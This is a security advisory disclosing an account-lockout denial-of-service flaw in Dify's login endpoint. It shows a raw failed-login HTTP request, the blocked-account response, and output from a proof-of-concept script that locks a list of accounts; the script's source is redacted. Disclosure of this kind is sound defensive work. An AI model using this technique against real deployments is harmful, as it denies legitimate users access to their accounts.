CVE-2026-52353: Denial of Service via account lockout

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Tested software:

Responsible Disclosure Timeline: 90 days from first contact, if there is no response or communicated planned fix.

Timeline:

Summary

dify contains a denial-of-service(DoS) vulnerability in the authentication system, where an attacker can prevent legitimate users from accessing their accounts by repeatedly sending multiple failed login attempts. By submitting five invalid login attempts to the login endpoint every minute, the attacker can effectively trigger an account lock-out for the user account. This is possible because the application does not rate limit based on the IP address, but uses the email address as the identifier instead.

Test environment setup

The test environment was setup on a Ubuntu Linux workstation with the following commands:

git clone --branch "$(curl -s https://api.github.com/repos/langgenius/dify/releases/latest | jq -r .tag_name)" https://github.com/langgenius/dify.git
cd dify/docker
cp .env.example .env
docker compose up -d
# go to http://localhost/install and create a new admin/owner user

Details

The following request with an existing email-address and a wrong password was sent 6 times:

POST /console/api/login HTTP/1.1
Host: dify.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: */*
½...
Connection: keep-alive
Cookie: session=.eJwl[REDACTED]Qg; locale=en-US
DNT: 1
Sec-GPC: 1
Priority: u=0

{"email":"admin@dify.local","password":"QWRtaW4xMjM0NXNkZmFzZmU=","language":"en-US","remember_me":true}

The following response shows, that the account is blocked after the sixth request:

HTTP/1.1 429 TOO MANY REQUESTS
Server: nginx/1.29.8
[...]
X-Version: 1.14.0
X-Env: PRODUCTION

{"code":"email_code_login_limit","message":"Too many incorrect password attempts. Please try again later.","status":429}

If another email-address is used, the response status code is 401 again.

PoC

Using the appended exploit, it is possible to lock as many accounts as wanted:

cat emails.txt
alice@dify.local
bob@dify.local
claire@dify.local
david@dify.local
eve@dify.local

python3 ./lock_accounts.py

Dify 1.14.1 account lock exploit
Start locking accounts loaded from emails.txt...


Lock account: alice@dify.local ....... ->locked!
Lock account: bob@dify.local ........ ->locked!
Lock account: claire@dify.local ....... ->locked!
Lock account: david@dify.local ....... ->locked!
Lock account: eve@dify.local ....... ->locked!
Sleep for 30seconds...

Lock account: alice@dify.local . ->locked!
Lock account: bob@dify.local . ->locked!
[...]

Proof of concept exploit code

lock_accounts.py:

# ..... REDACTED .....

Impact

The vulnerability allows an attacker to make the application inaccessible for a list of users, if the email address is known for these users, for as long as the attack is running.